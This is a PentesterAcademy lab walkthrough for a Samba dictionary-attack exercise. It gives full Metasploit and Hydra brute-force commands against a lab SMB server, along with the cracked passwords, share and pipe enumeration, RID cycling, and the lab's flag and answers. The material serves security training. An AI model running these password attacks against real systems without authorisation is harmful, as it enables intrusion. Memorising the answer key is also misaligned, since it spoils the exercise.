
ATTACK
DEFENSE
by PentesterAcademy

Name	Samba Recon: Dictionary Attack
URL	https://www.attackdefense.com/challengedetails?cid=556
Type	Network Recon : SMB Servers

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Q1. What is the password of user "jane" required to access share "jane"? Use smb_login metasploit module with password wordlist /usr/share/wordlists/metasploit/unix_passwords.txt

Answer: abc123

Commands:

```
msfconsole
use auxiliary/scanner/smb/smb_login
set PASS_FILE /usr/share/wordlists/metasploit/unix_passwords.txt
set SMBUser jane
set RHOSTS 192.212.251.3
exploit
```

```
msf5 > use auxiliary/scanner/smb/smb_login
msf5 auxiliary(scanner/smb/smb_login) > set PASS_FILE /usr/share/wordlists/metasploit/unix_passwords.txt
PASS_FILE => /usr/share/wordlists/metasploit/unix_passwords.txt
msf5 auxiliary(scanner/smb/smb_login) > set SMBUser jane
SMBUser => jane
msf5 auxiliary(scanner/smb/smb_login) > set RHOSTS 192.212.251.3
RHOSTS => 192.212.251.3
msf5 auxiliary(scanner/smb/smb_login) > exploit

[*] 192.212.251.3:445     - 192.212.251.3:445 - Starting SMB login bruteforce
[-] 192.212.251.3:445     - 192.212.251.3:445 - Failed: '.\jane:admin',
[!] 192.212.251.3:445     - No active DB -- Credential data will not be saved!
[-] 192.212.251.3:445     - 192.212.251.3:445 - Failed: '.\jane:123456',
[-] 192.212.251.3:445     - 192.212.251.3:445 - Failed: '.\jane:12345',
[-] 192.212.251.3:445     - 192.212.251.3:445 - Failed: '.\jane:123456789',
[-] 192.212.251.3:445     - 192.212.251.3:445 - Failed: '.\jane:password',
[-] 192.212.251.3:445     - 192.212.251.3:445 - Failed: '.\jane:iloveyou',
[-] 192.212.251.3:445     - 192.212.251.3:445 - Failed: '.\jane:princess',
[-] 192.212.251.3:445     - 192.212.251.3:445 - Failed: '.\jane:1234567',
[-] 192.212.251.3:445     - 192.212.251.3:445 - Failed: '.\jane:12345678',
[+] 192.212.251.3:445     - 192.212.251.3:445 - Success: '.\jane:abc123'
[*] 192.212.251.3:445     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/smb/smb_login) >
```

Q2. What is the password of user “admin” required to access share “admin”? Use hydra with password wordlist: /usr/share/wordlists/rockyou.txt

Answer: password1

Commands:

gzip -d /usr/share/wordlists/rockyou.txt.gz

hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.212.251.3 smb

```
root@attackdefense:~# hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.212.251.3 smb
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2019-05-27 11:45:52
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 14344399 login tries (l:1/p:14344399), ~14344399 tries per task
[DATA] attacking smb://192.212.251.3:445/
[445][smb] host: 192.212.251.3   login: admin   password: password1
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2019-05-27 11:45:54
root@attackdefense:~#
```

Q3. Which share is read only? Use smbmap with credentials obtained in question 2.

Answer: nancy

Command: smbmap -H 192.212.251.3 -u admin -p password1

```
root@attackdefense:~# smbmap -H 192.212.251.3 -u admin -p password1
[+] Finding open SMB ports....
[+] User SMB session establishd on 192.212.251.3...
[+] IP: 192.212.251.3:445       Name: ss6nyimuxug6htxxak9rdbsdc.temp-network_a-212-251
        Disk                                                    Permissions
        ----                                                    -----------
        shawn                                                   READ, WRITE
        nancy                                                   READ ONLY
        admin                                                   READ, WRITE
        IPC$                                                    NO ACCESS
root@attackdefense:~#
```

Q4. Is share “jane” browseable? Use credentials obtained from the 1st question.

Answer: no

Solution:

Listing the shares on the samba server:

Command: smbclient -L 192.212.251.3 -U jane
Enter password “abc123”

```
root@attackdefense:~# smbclient -L 192.212.251.3 -U jane
Enter WORKGROUP\jane's password:

        Sharename       Type      Comment
        ---------       ----      -------
        shawn           Disk
        nancy           Disk
        admin           Disk
        IPC$            IPC       IPC Service (brute.samba.recon.lab)
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        RECONLABS
root@attackdefense:~#
```

Share “jane” is not listed. Checking whether jane share exists:

Command: smbclient //192.212.251.3/jane -U jane

```
root@attackdefense:~# smbclient //192.212.251.3/jane -U jane
Enter WORKGROUP\jane's password:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Nov 27 19:25:12 2018
  ..                                  D        0  Tue Nov 27 19:25:12 2018
  flag                                D        0  Tue Nov 27 19:25:12 2018
  logs                                D        0  Tue Nov 27 19:25:12 2018
  admin                               D        0  Tue Nov 27 19:25:12 2018

                1981832052 blocks of size 1024. 1527532856 blocks available
smb: \>
```

Share “Jane” exists but is not browsable.

Q5. Fetch the flag from share “admin”.

Answer: 2727069bc058053bd561ce372721c92e

Commands:
smbclient //192.212.251.3/admin -U admin
ls
cd hidden
ls
get flag.tar.gz
exit
tar -xf flag.tar.gz
cat flag

```
root@attackdefense:~# smbclient //192.212.251.3/admin -U admin
Enter WORKGROUP\admin's password:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon May 27 11:47:56 2019
  ..                                  D        0  Tue Nov 27 19:25:12 2018
  hidden                              D        0  Tue Nov 27 19:25:12 2018

                1981832052 blocks of size 1024. 1527532800 blocks available
smb: \> cd hidden\
smb: \hidden\> ls
  .                                   D        0  Tue Nov 27 19:25:12 2018
  ..                                  D        0  Mon May 27 11:47:56 2019
  flag.tar.gz                         N      151  Tue Nov 27 19:25:12 2018

                1981832052 blocks of size 1024. 1527532796 blocks available
smb: \hidden\> get flag.tar.gz
getting file \hidden\flag.tar.gz of size 151 as flag.tar.gz (1510000.0 KiloBytes/sec) (average inf KiloBytes/sec)
smb: \hidden\> quit
root@attackdefense:~# tar -xf flag.tar.gz
root@attackdefense:~# cat flag
flag         flag.tar.gz
root@attackdefense:~# cat flag
2727069bc058053bd561ce372721c92e
root@attackdefense:~#
```

Q6. List the named pipes available over SMB on the samba server? Use pipe_auditor metasploit module with credentials obtained from question 2.

Answer: netlogon, lsarpc, samr, eventlog, InitShutdown, ntsvcs, srvsvc, wkssvc

Commands:

msfconsole
use auxiliary/scanner/smb/pipe_auditor
set SMBUser admin
set SMBPass password1
set RHOSTS 192.212.251.3
exploit

```
msf5 > use auxiliary/scanner/smb/pipe_auditor
msf5 auxiliary(scanner/smb/pipe_auditor) > set SMBUser admin
SMBUser => admin
msf5 auxiliary(scanner/smb/pipe_auditor) > set SMBPass password1
SMBPass => password1
msf5 auxiliary(scanner/smb/pipe_auditor) > set RHOSTS 192.212.251.3
RHOSTS => 192.212.251.3
msf5 auxiliary(scanner/smb/pipe_auditor) > exploit

[+] 192.212.251.3:139     - Pipes: \netlogon, \lsarpc, \samr, \eventlog, \InitShutdown, \ntsvcs, \srvsvc, \wkssvc
[*] 192.212.251.3:        - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/smb/pipe_auditor) >
```

Q7. List sid of Unix users shawn, jane, nancy and admin respectively by performing RID cycling using enum4Linux with credentials obtained in question 2.

Answer: S-1-22-1-1000, S-1-22-1-1001, S-1-22-1-1002, S-1-22-1-1003

Command: enum4linux -r -u "admin" -p "password1" 192.212.251.3

```
[+] Enumerating users using SID S-1-22-1 and logon username 'admin', password 'password1'
S-1-22-1-1000 Unix User\shawn (Local User)
S-1-22-1-1001 Unix User\jane (Local User)
S-1-22-1-1002 Unix User\nancy (Local User)
S-1-22-1-1003 Unix User\admin (Local User)
enum4linux complete on Mon May 27 12:10:57 2019

root@attackdefense:~#
```

References:

1. Samba (https://www.samba.org/)
2. smbmap (https://tools.kali.org/information-gathering/smbmap)
3. smbclient (https://www.samba.org/samba/docs/current/man-html/smbclient.1.html)
4. THC Hydra (https://tools.kali.org/password-attacks/hydra)
5. Metasploit Module: SMB Login Check Scanner (https://www.rapid7.com/db/modules/auxiliary/scanner/smb/smb_login)
6. Metasploit Module: SMB Session Pipe Auditor (https://www.rapid7.com/db/modules/auxiliary/scanner/smb/pipe_auditor)
7. enum4Linux (https://tools.kali.org/information-gathering/enum4linux)